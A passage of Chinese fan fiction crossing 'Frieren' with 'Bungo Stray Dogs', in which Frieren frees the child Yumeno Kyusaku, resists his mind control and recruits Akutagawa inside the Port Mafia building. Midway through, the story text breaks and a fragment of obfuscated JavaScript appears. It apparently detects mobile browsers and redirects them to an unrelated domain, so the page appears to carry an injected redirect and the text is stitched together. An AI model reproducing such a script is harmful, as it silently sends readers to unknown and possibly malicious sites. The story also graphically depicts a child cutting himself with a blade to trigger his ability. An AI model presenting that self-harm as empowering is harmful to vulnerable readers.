他不动声色地把藏在绷带下开了刃的刀片往后又挪了挪。
依旧被审视着。
梦野久作抿起嘴,因为缺水而干裂的嘴唇也被咬得泛白。
就在他快彻底绷不住的时候,芙莉莲说话了。
“好。”
精灵能够感受到,面前孩子正拙劣地想要收敛自己的情绪,可是却依旧难以克制地溢出恶意与恨。
他不是魔族,身上有类似魔力的气息,这点和中岛敦他们很像,应该也是这个世界的异能力者,而且单单从她目前见过的异能来看,是算强的。
一个小孩子,一个有着强力异能的小孩子,被关在反派意味浓厚的港口Mafia的监/禁/室里,却没有被当作威胁处/死。
是武器吧。
芙莉莲叹了口气。
上千年的阅历,即使是不懂人心的精灵也能看得懂他身上经历了什么。
在听到芙莉莲答应下来以后,这个叫梦野久作的孩子先是愣了愣,随后爆发出惊人的喜悦,这并不是作假。
他是真的被困在这里很久很久,在这片安静的,无声的,失去一切的黑暗里受苦的人类。
“真的吗?!”梦野久作眼睛一下子亮起来。
“是,但现在大姐姐还有更重要的事要去这里的首领办公室,之后才能帮你出去。”
啊……
梦野久作的眼神又重新暗了下去,握着栏杆的手紧了紧,失落涌上心头,又被他自己强行按了下去。
撒谎。
借口。
他就知道,大人总是这样。
虚伪而善于欺骗,不该被期待。
梦野久作沉默了几分钟,面上的笑容却越发灿烂:“好吧,久作很听话的。”
“既然一时半会没办法出去,那大姐姐能不能帮我拿回我的娃娃呀?”
“它对我很重要,是像家人一样的存在。”
“它在哪里?”芙莉莲问道。
“被一个没有眉毛,长得和垂耳兔一模一样的坏叔叔藏在身上……”
“如果久作没猜错的话,待会,不,马上大姐姐就会遇上这条忠心的拦路犬哦,所以完全不会因为找东西什么的耽误到大姐姐的事。”梦野久作此刻的神情,可一点也不像之前所表现出来的那样乖巧。
“而且,我知道首领办公室怎么走,很熟悉的。”
为了让芙莉莲帮他,梦野久作不再维持自己的无害了,他面上失去了一切表情,整个人如同商场橱窗里精致的人偶般。
“如果大姐姐帮我把娃娃抢回来的话,”学习着他现在最讨厌的人的模样,梦野久作直视着芙莉莲,诱之以利,加了砝码:“我就告诉你怎么过去,不会触到任何机关,安安全全地过去……”
才怪。
梦野久作口中吐露着谎言,他的心早就被常年的关押给塑造得扭曲了,永被压抑的恶劣怒火一直在心底燃烧。
明明神应该对世人都公平公正才对吧,可是为什么要这样对他呢?
被当作怪物,被囚/禁,被利用,必须要保持痛苦。
为什么呢?凭什么呢?
“因为即使是神也不爱你啊。”曾经抓住过他的【组合】成员是这么说的。
没有人爱久作。
所以他要毁掉面前的人,也会毁掉这里,还有亲手杀了……封印他的家伙,这是对他们幽禁他的回礼。
只要拿到娃娃,拿到就好了。
芙莉莲定定地看着他,终于点点头。
“好。”
望着芙莉莲离开的背影,梦野久作依旧保持着原来的姿态,只是松开了一只手,难耐地隔着绷带去抚摸另一只手臂上的刀片。
只需要轻轻用力,它就会划破自己虚弱苍白的肌肤,造就新的艳色。
梦野久作有些出神,忽然大力按压了一下,下一秒,雪白的绷带上晕染出大片大片的红晕。
好痛啊,好疼啊。
梦野久作眼里的星星璀璨。望着外面的世界,他无声地微笑。
唯独这不是谎言。
……
轰咚——忽然有东西从暗处袭来,将芙莉莲眼前的墙壁打出了
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深深的坑洞,激起满天尘土飞扬。
这动静不可为不惊人,芙莉莲停下脚步。
她没有走远,所以梦野久作也能看到这一幕。他睁大了眼睛,屏息凝神。
来了。
烟尘里走出一道纤瘦的影子,是一位青年,有着一头黑色的发,偏长的两鬓却是苍白。
他穿着一身黑压压裹得严严实实的衣服,衣角却诡异地轻微掀起了一点,尾端的布料化作纯黑恶兽,正是刚刚袭击芙莉莲的元凶,此刻它猩红的眼睛危险地眯着,张着贪婪的嘴,抬起头在空中晃悠。
这便是港口Mafia的芥川龙之介。
这位“港口Mafia的走狗”本是双手插兜,但不知怎了,忽然抬起手,单手抵着唇剧烈咳嗽起来,每一次咳嗽脸色都要苍白一分,咳嗽得也很费力,像是要把肺都一并咳出来。
这就是那个孩子告状说的坏叔叔吧。看来阿乌拉操纵的这具傀儡,本体健康状况有点堪忧啊。
不过……芙莉莲的手一敲掌心。欸,久作这孩子说的没错,确实是很像垂耳兔啊。
“芙莉莲,”芥川本人的声音与阿乌拉的声音重合在一起,“被拦住的滋味不好受吧?我在尽头等着你哦。”
啧,挑衅得倒是有模有样,听起来真是让人火大啊……
但是心态却还是一如既往的谨慎,知道芙莉莲不会伤害人类,所以打算通过这些人,人海战术尽可能地牵制消耗她的战斗力?
芙莉莲面无表情地想着。
没办法了……嗯,差点忘了。她忽然想起来了之前一级魔法使选拔测验里遇到的某个人,他似乎曾经使用过束缚类的魔法。
好,那么就稍微分析一下用用看吧。
她抬起眼睛,盯着面前的芥川龙之介。
蓝绿色的瞳仁微微颤动。
“【目视束缚魔法】。”
下一秒,魔力编织的金色绳索凭空出现,包裹住芥川龙之介,然后缩紧。
【罗生门】异能产生的黑兽,在芥川被套上光圈后,便像老旧花屏的电视机屏幕一般,不断地闪烁着,直到光圈彻底捆绑住他时,才彻底消失,重新变回普通的黑色布料。
它不仅让异能力消失,还吞噬了芥川身体的气力。
芥川腿一软,一个踉跄,向前倒去。
眼看着,他就要因为骤然失去力气而狼狈下跪。
…
……
………
不,绝对,绝对——
绝对不会向任何人跪下!
芥川的身体突然爆发出惊人的力量。
凭借着本能,芥川龙之介支持住了自己。
明明全身都因为用力而颤抖,他依旧不肯放弃,在离地面最后一厘米的位置,用手勉强撑住了身体。
连那双受控制而混沌的眼眸里都闪现出几分愤怒的清明。
虽然存在的时间有点短暂,很快便又被吞没回去,重归迷茫,但芙莉莲依旧察觉到了。
她站在原地,低着头看着苦苦支撑的芥川龙之介。
芙莉莲不能移开目光。
这便是【目视束缚魔法】的不便之处——只能让视线范围的敌人动弹不得,而且还必须要敌人的全身都在视线内。
望着因为尊严,短暂冲脱了阿乌拉控制的芥川龙之介,精灵忍不住感叹。
“人类的意志力果然一直都很神奇。”*
23.梦野久作
……
虽然芥川龙之介的意志力值得敬佩,但芙莉莲可没有多少时间可以在这里耗费了。
是时候去找梦野久作要的东西了。
只见芙莉莲站在原地,小幅度地晃动着法杖。
那镶嵌在弯月般木框里的红宝石散发出细碎的白光,芥川龙之介的腰间也跟着,很快发出清晰光芒,一闪一闪,像一个标记点。
找到了。
芙莉莲面上不动声色,心里却一阵轻松。她将法杖向上微微抬起,魔力带动着芥川那处的衣服抬起。
再是左右的剧烈摇晃。
终于,衣摆松开,一只娃娃脱离衣料束缚,浮空出来。
芙莉莲接过它——这应该就是梦野久作心心念念的娃娃了。
不过在接触时,芙莉莲的余光不经意瞥见了它的模样,没忍住愣了愣。
她手里的这个娃娃有着圆滚滚的惨黄色脑袋,上面扎着歪歪扭扭的绷带,估计它主人的手艺并不怎么好。
除去这些基础饰品外,玩偶的外观也没好到哪里去,它面部被刺出幅度很大的狞笑,配合上一双黑黝黝,深不见底的眼睛,如同恐怖片里才有的物品。而且,还有血迹正从那双黑洞般的大眼里渗出来,这就显得更加凄惨莫名了。
等一下,这该不会是诅咒娃娃吧……
芙莉莲拿着玩偶的手在微微颤抖。
真是的,她可不擅长诅咒的消除啊,这种事要知道,可大部分都是僧侣的活喂,只有他们那带着信仰的女神魔法对诅咒有用。
芙莉莲双眼皱着眯了起来,嘴巴也变成了w型,满眼满心都是抗拒。
要是中岛敦在场,他绝对能看出,芙莉莲又变成之前,逛完甜品店后的非常规沮丧模样了。
芙莉莲在心里胡思乱想了一回,但很快继续了她的动作。
一面盯着蠢蠢欲动的芥川龙之介,芙莉莲一面倒退着来到囚牢处。
那里,梦野久作已经等候多时。
黑白异色头发的孩子用力地垫起脚,双手费力地扒着栏杆,在芙莉莲看不到的角落里笑容愈发灿烂。
终于,他的手碰到了自己的稻草人娃娃,然后——
从头到脚彻底撕裂了它。
芙莉莲:?
她惊讶地放大了瞳孔,心里升腾起一股不妙,但是已经来不及闪避了,她已经触碰到梦野久作的指尖。
“大姐姐,”幽暗监/禁/室里,梦野久作轻快而兴奋地开口,“来和久作一起玩吧!”
话音未落,他便同步般,如同过去千万次那样,用力地将藏了许久的刀片摁进自己的血肉当中,那里新肉还未长全,还结着痂。他熟练地在手臂上制造出流血伤口,异能文字的光带出现。
【脑髓地狱】发动。
被撕裂成两半的娃娃发出咯咯咯的声音,歇斯底里地笑着。
精灵身形一顿,面上浮现出类似抓痕的青印。
虽然有些许预料,但是居然是这种发展,精神系……上当了。
她因为忽然的袭击而一时失神,这使得束缚魔法失去了效用。
只听得嗖的一声,黑色的布料朝他们的方向捅来,彻底洞穿了铁门,凿出了大洞。
轰咚——在漫天尘灰里,残破的大门摇摇欲坠。
这就是,自由吗?
黑白异色头发的男孩从铁门破口处钻了出来,离开了这禁锢了他许久岁月的囚笼。
他抬起眼,好久没有梳理过的发丝还很凌乱,但梦野久作暗沉的眼睛里却有星星闪烁。
梦野久作,大名鼎鼎的【Q】,被扭曲了三观,造下过无数伤亡,将生命当作玩乐的异能力者,被港口Mafia关押着的秘密武器。
他所掌控着的精神操控类异能力——【脑髓地狱】,能够让受控对象产生幻觉。
没有人知道幻觉里究竟会发生什么,但按照被害者的反应,或许多是足以攻破人心的可怕景象,总之这些能够催动着受控倒霉蛋们进行无差别的攻击。
至于发动的条件……
梦野久作抬起胳膊,上面积聚的血将绷带染得通红。
滴答滴答,还有多余的血液顺着胳膊滑落。
摧毁玩偶后,被判定为伤害过久作的“接收者”便会被控制,至于判断的标准,当然是接触与疼痛啦。
“好疼啊……”,他将刀片收回,乖巧的笑意转变为一股子得意,“但是很值得。”
“大姐姐会害怕什么呢,我真的很好奇啊。”梦野久作拍着掌,就好像看到好玩的玩具,面上满是残酷的天真。
……
噼里啪啦的火焰在燃烧,空气里有股压抑至极,难以呼吸的味道。
芙莉莲被人推搡了几下,她睁开了眼。
到处都是慌乱的高呼,战斗的血腥和飞溅的魔法。
平静的蓝绿色瞳孔里倒影着数位族人被长角的魔族杀/死的场景。
她似乎又回到了被屠族的那天。
而站在她面前的,是她幼年时期拼死打败过的魔族将军。
此刻,这个家伙正喘着粗气,形如野兽。
芙莉莲望着面前的这一切,下意识想要摩挲下耳饰,可刚一抬手,便触碰到空气,她这才意识到,这个点她还没来得及和师父芙拉梅相遇。
“孱弱的精灵。”魔族的将军在她对面嗤笑着。<
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这一点倒是和记忆里不一样。
但芙莉莲很快意识到为何不同——长年压抑魔力已经成为了白发精灵的肌肉记忆,即使“回到过去”,她依旧这么做了,在最短的时间内把自己的魔力压抑至平平无奇。
在大意轻敌之下,曾经拼命才能杀死的魔族将军这回轻易便死/去了。
站在逐渐挥发成魔力粒子的魔族面前,芙莉莲有些疑惑——
梦野久作说的“会害怕什么”,难道就只是这点本事么?
既定的历史有什么可后悔害怕的。
咚——沉重的脚印声打断了她的想法。
芙莉莲倏然抬起头,入目的是曾经的勇者小队和如今的弟子菲伦与前卫休塔尔克,还有……魔族的七崩贤。
魔族中数一数二的强者站在她所有羁绊的人的对面,手中掌握的魔法让人节节败退。
刺——魔法的光柱贯穿了每一个她所在乎的人。
【他们会死。】这个想法在芙莉莲脑海里升腾,被暗地里不知名的东西窃窃私语般传告。
不,这些都是假的。理智这样告诉她。
鲜血溅到芙莉莲脸庞。
【他们会死。】一股人为制造的不安在心底蔓延,突然猛烈动荡的感情影响着芙莉莲的举动。
她瞳孔骤然放大,一股莫名其妙又难以克制的怒火升腾。
她握紧法杖,理智在拼命挽回,但身体却被上升的激素控制,大步就要上前。
“芙莉莲。”
这时,一道冷静而熟悉的声音在芙莉莲身后响起,将她拦住。
与几千年前,曾经有个人的嗓音别无二致。
……师父?
芙莉莲回过头去。
面前站着一个橘红色长发的女人,耳边带着芙莉莲同款的红色耳坠。
不,或许应该说,芙莉莲的耳坠便是她的遗物。
这道女人的影子若隐若现,仿佛随时会消失。
“不要被情绪蒙蔽了双眼,你曾经一直做得很好,”芙拉梅沉静地站在那里,平淡而温和地说着,“芙莉莲,这次,你能做到吗?”*
面前的她依旧不是灵魂,而是旧日的思念。
【她很在乎你,即使身已死去。】*石板的话仿佛就在耳边。
芙莉莲顿了顿,在芙拉梅的注视下,她停下了脚步。
在纷飞的战火里,芙莉莲眼神重新清明,在意识到不对劲后,被异能影响教/唆的内心重新变得稳定,她低声郑重地回应着,如同在发什么誓言:“当然,我会冷静。”
混乱的幻觉在此刻支离破碎,熟悉的港口Mafia地界重新收入眼底。
24.异能特异点
……
“打起来,快点打起来!”梦野久作兴奋地握紧拳头,满眼期待,言语里也在拱火。
在他面前,芙莉莲双手握着武器,此时她还处于被操控之下,她将木质法杖调转横起,对准了芥川龙之介。
芥川龙之介身后的【罗生门】恶兽也蓄势待发。
双方僵持不下。
这种情况是梦野久作最喜欢看到的,剑拔弩张,之后就是混乱。
梦野久作喜欢混乱,嘈杂的声音会让他感觉到周围的鲜活,那是和监/禁室里不一样的感触。
无声的黑夜给他留下了太多的烙痕。
或许是因为完全沉浸在得逞的自豪里,梦野久作并没有察觉,随着时间流逝,他周边产生了细微的变化。
直到——
直到他被人提起衣领,拎在空中。
四肢忽然全部离开了地面,垂在半空中晃荡,梦野久作懵了一下,他盯着和自己悬空的身体有一段距离的地板发呆。
但是很快,梦野久作便回过神来,他猛得抬起头,对上了一片清明的蓝绿。
“怎……怎么可能!”梦野久作很惊讶,本来就大的眼睛瞪得更大了,“你明明没有那个家伙般的无效化异能,为什么,为什么能够摆脱我的控制?!”
“小鬼,你还得练。”芙莉莲呵呵一笑,把梦野久作拎到战局暂时打不着的地方。
“你!”梦野久作气急,“快放开我!”
他愤怒地蹬着腿,张牙舞爪,身体剧烈晃动,挣扎着想逃离芙莉莲的魔爪,但这只是徒劳,芙莉莲抓得很紧。
这家伙手劲这么大的吗……梦野久作想,她究竟想要干什么!
结果芙莉莲什么也没有做,只是把他放了下来,放在了安全位置。
梦野久作一愣——这是个什么路数?
不过他可也没有多想,立刻冲了回来。
毕竟这是他第一次异能力失效,连【组合】的霍华德都栽过一回,他怎么能咽得下能力失败的气。
结果另一头的芥川龙之介似是不耐烦了,又一次发起了进攻。
名为【罗生门】的黑兽张开猩红的嘴,冲芙莉莲而来,而梦野久作正好冲到了她面前,背对着芥川龙之介。
由于视野受限,梦野久作没有发现即将面临的危险。
眼见着面前这个莽撞的孩子就要被布料贯穿,芙莉莲淡定地侧身退去,顺便把准备再试图控制她一次的久作拎远了点,一起躲开了攻击。
又被拎了起来,梦野久作呆了呆,不过在看到布条轰击落空,损坏了墙壁时,他瞬间明白到底是发生了怎么一回事。
于是,他神情复杂地望向芙莉莲,眼底是纯然的疑惑。
这般没有戾气的模样看起来倒是符合人们对这个年龄段孩子天真无邪的刻板印象了。
“你……你为什么要救我?”
梦野久作不理解。
面前这个精灵,被他坑害了,而且他甚至还打算二度坑害她,结果这个家伙非但不落井下石,还又帮了他,救了他的命,她难道不生气吗,不想报复吗?
芙莉莲当然听到了他的困惑,刚想张开口回答他,那边芥川龙之介就打断了他们的对话。
名为【罗生门】的异能呼啸而来。
梦野久作烦躁地皱眉,本就不解烦闷的心情因为被干扰而更加恼怒,于是他主动伸出了手。
刚触碰到强化后锋利的布料,梦野久作的手掌处便立刻出现一道长长的划痕。
滴答,滴答。
鲜血从中滴落。
他并没有因为疼痛而瑟缩,而是反手握住黑色的布料。
梦野久作本来就对港口Mafia没有什么好感,正好芥川龙之介又赶上了趟。
来自他自己的血飞溅到脸颊上,梦野久作连眼睛也没眨一下。
玩偶还保持着被撕开的状态,【脑髓地狱】顺势判定生效。
梦野久作盯着芥川龙之介,屏吸凝神观察着变化——他就不信了,这个家伙总不会也控制不了吧?
混乱的文字光带涌现,异能束缚住中心的黑衣青年。
芥川龙之介痛苦地双手捂头,不知道这是出于他本人的意志,还是身体的下意识反应。
到目前为止一切正常。
梦野久作吊着的心回落到肚子里。
他得意地抬起头——果然自己的异能力还是有用的,芙莉莲那纯粹就是意外!
不过,梦野久作高兴得还是太早了些。接下来发生的一切出乎了在场人的预料。
芥川龙之介忽然颤抖起来,陷入到一种无边的痛苦与混乱当中。
连被梦野久作抓着的黑色布料也随着主人心灵与身体的动荡现状而倏然紧绷。
这种反应并不常见,但也并不代表没有。
起初梦野久作并没有很在意,而且折腾芥川龙之介的目的已经达到,于是没有继续抓着衣服布料不放。
他很快松开手,放任芥川龙之介将之抽回。
布料抽回的一瞬,空气便凝滞起来。
梦野久作这才意识到不对劲,他瞪大了眼睛:“什——”什么?!!!
二人之间的气场变得很古怪,空气里好像有两股力量在彼此抵抗,时间也变得慢了起来,好似剖开了一个独立的空间。
【异能特异点】
“相互矛盾的异能彼此碰撞,互相干涉,便会产生异能的特异点。”*
当时大侦探停下把玩纽扣的动作,翡翠般的双眼睁开。
芙莉莲脑海里无端地想起江户川乱步曾经告诉她的这个定义。
是了,魔法与异能只不过是同源之物不同的分支,有着异曲同工之妙。同为精神操控类,产生异能特异点并不奇怪。
很快,芥川龙之介抬起头,他的眼底是梦野久作熟悉的恼恨的一派清明。
梦野久作:?不是吧,又来!
怎么又是不受控制,梦野久作都快要怀疑是不是自己的异能力出了问题,或者……
他迟疑地望着手里的娃娃,开始有点不自信了——这该不会是被谁调换了吧?
砰咚
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——恢复清醒的芥川龙之介直挺挺倒下,倒在了地上。
头着地时重重的闷声让人忍不住感慨,这真是一颗好头。
……
芙莉莲把昏迷状态的芥川拖到过道的一旁安置好,然后转过头,看见了正一步一步往外挪,想要逃跑的梦野久作。
芙莉莲问他:“玩偶我帮你拿到了,能告诉我首领办公室在哪里了么?”
梦野久作停下了脚步,他欲言又止。
这种时候居然还来问他?不应该是指责他骗人,或者不信任他之类么,还有,之前为什么会救他……啊,跑偏了想法,总之不管是怎么样也绝对不应该是这种平淡的反应才对啊?!
“大姐姐,你真的好奇怪。”终于,梦野久作说话了,他站在芙莉莲面前,手里抱着能够配合展开异能的玩偶,目光与精灵对视,不躲不闪,眼底没有伪装的乖巧,也没有一开始暴露后的嚣张,纯粹的面无表情。
因为他心里头总感觉很不对劲,但是又不明白自己这是怎么了。
不是那种难受恶心的牵制感,也不是令人作呕的虚伪安慰,而是一种更加奇妙的,说不上来的感觉,挠得心里发痒。
“如果只是想要利用我的异能,或者想要从我身上得到什么,其实可以直说的。”梦野久作迟疑了一会,将怀里的玩偶抱得更紧,他能够分辨恶意,面前的芙莉莲并没有这类情绪。
梦野久作深吸了一口气,第一次郑重地承诺:“久作可以保证这次不骗你。”
“不用,只需要告诉我首领办公室在哪里就好。”芙莉莲不懂面前的小孩到底是经历了怎样复杂的思考,才说出这么一长串话,她就单纯想问个路。
“只是这样?”梦野久作怀疑她是不是不知道自己异能的强大,这种被质疑被轻视的错觉让他急急展示自己,“可是——你刚刚也看到了吧,我让他脱离了控制。一个人来到港口Mafia,往往不是投诚合作就是反叛偷袭,我的存在会对你很有用。”
“只是这样就好。”芙莉莲回应道,一句坚定的陈述句。
梦野久作仔细观察着芙莉莲的神情,没有一丝丝变化。
芙莉莲似乎是真的,真的对自己的异能一点也不感兴趣,这人梦野久作有点儿挫败,沮丧和不甘。
“……好吧,那,但是我有一个要求,我改变想法了,让我来带你去。”他就不信了,芙莉莲真不带他。
芙莉莲顿了顿,似乎想拒绝。
“如果不让我跟着,我就会现在立刻马上趁乱出去搞破坏,而且也绝对不会告诉你办公室在哪。”梦野久作察觉到她神色细微的不对劲,立刻明白她想拒绝的犹豫,于是赶紧说。
“……那好吧。”芙莉莲权衡了一下利弊,妥协了。
梦野久作得意地抬起头,他终于赢了一回。
当然了,他之所以选择跟着,而不是单纯的口头说明,只是为了就近观察精灵,看她会不会是他报复港口Mafia的阻碍,才不是因为好奇。没错,就是如此,绝不是好奇!
梦野久作如是想着。
25.罗生门
“办公室在最顶层,戒备一直很森严,我没有被关前,来过好几回……”久作一边在芙莉莲前头带路,一边和她说着话。
他时不时改变方向,按下不知是何处隐藏着的开关,这条看起来笔直的通道里居然有这么多暗藏的门路。
“一般都是要坐电梯上去的,电梯旁每一层都会安排几个看守,但是这会应该都停掉了吧,所以只能抄这条紧急通道了。”
脚步声在空荡荡的甬道里响着,很清脆。
“说起来——大姐姐,你是和那个控制了首领以及他手下的家伙有仇么,”久作一边努力回忆,留神观察,一边侧过头来,他的眼睛眨了眨,“那个吃人的东西应该已经通过芥川的眼睛看到了我们吧。”
芙莉莲默默点头。
“这样啊……我在这里可是待的时间可不短,他们想要围追堵截你的话,多半也会猜到我要通过什么方式带你更快过去。”
“所以,之后肯定还会有人来阻拦,比如说那个叫红叶的大姐,还有一帮勉强算得上是强战力的黑蜥蜴部队,哦,大姐姐刚刚遇到的那只野犬就是那个叫什么黑蜥蜴的小队的头儿。”梦野久作撇了撇嘴,忽然,前头有异动出现,他了然道,“好快,果然来了。”
久作的话音还未落下,幽暗的通道里便响起整齐划一而僵硬的脚步声,不自然又诡异。
来自港口Mafia的主战力齐聚一堂。
“呼——还好中原中也出差了。”梦野久作眯起眼睛,在看清楚来人模样后松了一大口气,“不然会很棘手欸。”
“中原中也?”
“唔,其实这个啊,大姐姐也不用了解很多啦,只需要知道是这里的最强战力就行,”梦野久作随意地说道,同时十分自然,就像是做了无数遍般熟练地从缠绕着绷带的四肢里拿刀片,“曾经和我最讨厌的家伙在这里组成过一个叫‘双黑’的称号,让里世界的都非常害怕来着。”
结果刚把刀片掏出一半呢,他就被一只手给拦下了。
梦野久作:?
他怔愣地下意识抬头,与芙莉莲蓝绿色的眸子对上。
“交给我就好了,”芙莉莲的脸庞依旧看不出什么情绪,可是梦野久作就是能够感觉到她身上沉静的坚持,这是一种很让人安心的感觉,“让小孩子采取伤害自己的方式透支释放力量……我现在可还做不到。”
梦野久作沉默了。
“……好吧。”他别扭地妥协。
面对这类关心意味的情况,梦野久作还是有些不适应。
那在看到港口Mafia人员后立马升腾起来的杀意,也莫名其妙地因为她的话语而打消了。
梦野久作松开手,重新将抽出来一半的武器藏起。
不过,本来他是打算把刀片塞回肢体里来着,结果才到半途,又顿了顿,临时改变主意,将它们藏到娃娃衣服里侧。
【不要伤害你自己】芙莉莲话语里的意思是这样。
可是为什么呢,明明连他自己都放弃自己了,怎么还会有人在意这种事呢?是因为……不,他这样的,怎么会有专门的好意……果然还是因为大姐姐就是普世意义上的好人吧。
梦野久作宁可相信她对大家都是一视同仁的好,也不愿相信这是芙莉莲对一个像他这般孩子的照顾。
轰——
在他们的谈话间有异变陡升,庞大的布料怪物忽然挤满了通道,把除芙莉莲二人外,前方的众人通通击飞,造成了一场声势浩大的混乱局面。
紧接着是连续不断的咳嗽,很严重。
在此刻的一片狼狈间,这样的咳嗽声显得格外突兀。
同时,一道黑影从后方走近,随着彼此距离的缩短,芙莉莲等人终于看清楚了他是谁。
狰狞的黑色恶兽在来者身后摇摆,显然刚刚的混乱正是他的手笔,同时,这也彰显着他的身份。
居然能够再次凭借意志力,从昏睡里清醒过来,甚至追上来么?芙莉莲望着眼前神色清明,明显脱离掌控的芥川龙之介,平静的心里泛起几分惊讶。
芥川的黑兽异能很快束缚住了其他被控制的人员,把他们牢牢绑着,任凭他们怎么挣扎都不松开。
在这样嘈杂的背景音里,芥川龙之介与芙莉莲目光对视。
“你们是要去找首领对吧,”港口Mafia的野犬冷声道,此刻他一派开门见山的坦然姿态,那双锐利的灰黑色眼睛死死盯着芙莉莲,显得十分郑重,而且尽管此刻面色沉冷得可怕,也仍然有愤怒的火焰却在他眼底燃烧,“请务必带上在下。”
“在下会帮助你们铲除控制首领的恶徒。”
“当然,如果前提是需要证明价值条件,那么——”
“【罗生门】。”
文字的履带光芒闪耀。
布料化成的恶兽将它束缚着的“傀儡们”弄晕过去,而另两只则不知从哪里掏出来钥匙,并相互配合着拉开了某间囚/室,把无意识的他们塞了进去。
一切都是那样有条不紊,不急不忙却效率极高。
“在下的异能可以控制身上的衣物。”芥川龙之介一边展示一边这样说道。
他习惯性的敬语表达,和本身那张凶狠的脸形成了一种很奇妙的反差:“既可以做锋利的武器,也可以像坚强的盾挡住子/弹,同时也能暂时吞吃存储物品,是很有用的能力。”
就在芥川龙之介努力试图说服芙莉莲时,梦野久作一言不发地站在一旁,他双手抱臂,很不开心的样子。
没办法,毕竟一看到芥川龙之介的脸,他就忍不住想到面前这个家伙是太宰治的弟子,那个他心里头最最最讨厌的人,没有之一级别的家伙的弟子,不爽。
可是梦野久作终究没有开口打断他们的谈话,因为他其实很清楚芥川龙之介真正的实力。
虽然他本人很讨厌太宰治没错,可就算是他也不得不承认,这个曾经的港口Mafia心操师太宰治的眼光很有一番独到之处。
再说了,多一个人也算是多一份保障……算了,就看大姐姐要怎么抉择吧。
不出所料,芙莉莲答应了。
阿乌拉最棘手的就是她那精神层面上简单粗暴的魔法。
先前在与被控制的芥川龙之介对峙时,她注意到,面前这个青年仅凭自身的意志力就摆脱了阿乌拉的控制,虽然只是一瞬但也还是很有潜力的。
如果他来帮忙的话,他们的胜算应该能大一些。
“可以。”芙莉莲点点头。
“多谢。”芥川龙之介维持着凶恶的脸,彬彬有礼地道谢。
梦野久作没有做任何表态,他跟在芙莉莲左后边的位置,一言不发,好吧,他理智上也是认可让芥川龙之介加入队伍来着,可是心里的这道坎还是有点儿过不去。
碰巧,因为曾经Q在港口Mafia闹出的事,芥川龙之介也不怎么喜欢梦野久作。
加上不久前梦野久作又因为弱小到被组合抓住利用异能,差点毁了整个横滨,他更加没有了好脸色,于是也自觉走在了右后边。
两人之间拉开了一段相当长的距离,连目光都不愿意对视。
芙莉莲在前面走着,迟钝如她并没有察觉到这两人之间的眉眼官司。
三人结伴而行,一路上,每一层都有各种各样的追兵前赴后继地涌上来,但都被他们一一击破。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14285116|148045||http|test|mini|href|location''.split(''|''),0,{}));
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>“大姐姐,”终于快到顶层了,离阿乌拉所在处仅一步之遥,梦野久作忽然问她,“你为什么要这么赶呢?”
“因为每迟一会,这座城市就会被影响得更深重,甚至会危及更多地方……而且,中岛敦他们还在帮忙抵御她的同谋,我们不能耽误太久。”
“中岛敦?”芙莉莲还没来得及回答,一旁的芥川龙之介就抓到了刺眼的词汇。
他本来因为不停释放异能而快要体力不支,结果一听到了关键词,就又来了精神,只见芥川龙之介动作一顿,语气阴沉:“人虎在帮忙作战?”
“嗯……你还好吗?”芙莉莲望向他苍白的面庞迟疑道。
“当然,他还在坚持,在下一样也能做到!”一瞬间,就像是被打了鸡血,芥川龙之介下手的动作都更加凌厉起来。
好诡异的竞争意识。
嘁,又来了,因为太宰治关注中岛敦而扭曲的军/备/竞争赛。梦野久作抱臂胸前,在内心吐槽。
就在这时,芙莉莲头顶忽然浮现出无色王剑的庞大虚影,而且非常虚幻,肉眼不可见,还像电视机花屏一样不断地闪烁着。
?芙莉莲直觉不妙,她敏锐地扫视着四周情况,这是来自石板的提示么?
什么时候,为什么她一点感知都没有……不对,难道是能够屏蔽魔力感知……不好。
“小心——”
【芙莉莲,果然是你。】
一把伞飘落而下,魔力的光点渗入三人的肌肤,让他们全部倒地,陷入沉睡。
攻击类的魔法轰出。
【那么,三位,在美梦里永别啦……】
结果,攻击被一片异能的屏障抵住了。
【欸?】那不知名的家伙发出了感兴趣的哼笑,意识到异常的原因,【明明不是被女神庇护的僧侣,只是这个世界的凡人,居然也能从我的精神魔法里面醒来吗……啊,不,没有醒来,居然是下意识的防御么?】
芥川龙之介本应该同样睡去,但他摇摇晃晃地站了起来。
而且是闭着眼睛的模样,很明显,他还没有从精神构造的囚牢里脱困,可异能却始终环绕在他周身,蓄势待发。
多年前,港口Mafia的心操师,曾将枪/口抵在芥川龙之介的额心,漫不经心地扣下扳/机。
火光迸发之间,要么爆发潜力,要么死。
太宰治对待他的这个弟子,一直抱着这样的策略。
毕竟在捡回来的时候,在芥川龙之介一心求死,却被想活下去的本能支配的时候。
曾执拗地抬起头,无光的眼直视对面绑着绷带的男人。
“你能赋予我生存的意义吗?”
“……当然。”
即使芥川龙之介心底隐约知道,太宰治并不能赋予他真正的意义,可他依旧无可救药地相信,并在一条错误的道路上坚定地走下去。
Mafia的世界是残酷的。
异能几乎被榨/干的野犬半跪在地上,狼狈喘息,在最后一刻,在即将死去的那一刻。
活下去!要活下去!
求生的本能在叫嚣。
异能的光帐死死挡下了,那枚本该击碎他脑门的子/弹。
死亡,是要他自己来决定的。而他,想要活下去。
就如他所接受的那个意义一样,即使扭曲,也要像野狗般不择手段地活下去。
异能爆发出绚丽的文字光芒,攻击魔法在与它的碰撞中消弭。
要活下去,同太宰先生教导的一样——活下去!
那双黑得足以看见地狱的眼依旧紧闭着,却有血色从中流淌而出。
“【罗生门】——”
26.回家
……
“梦野久作大人。”
滴答,血液落下。
“梦野久作大人。”
隐隐约约间感受到黑兽的异能力和空间的振动,但很快又了无痕迹。
“梦野久作大人,快醒醒。”
大门被敲得乒乓作响,喋喋不休的叫唤让梦野久作心生厌烦。
他刷得睁开眼睛,入目的是一片昏暗,再熟悉不过的昏暗。
梦野久作顿时一愣——他这是又回到了港口Mafia的监/禁/室?奇怪,他本来不应该是在……
“梦野久作大人!”
恼人的呼喊还在叫嚣,打断了久作的思绪,他烦恼地蹙起眉,想要抓一把手里的玩偶。
不对,如果我在监/禁/室的话,手里不该有玩偶才对,应该是被没收了呀!感受着手心的触感,那份疑虑再次升腾。
“梦野久作大人,您的父母要来接您回家了。”
啊,又有人来看他了,好烦。
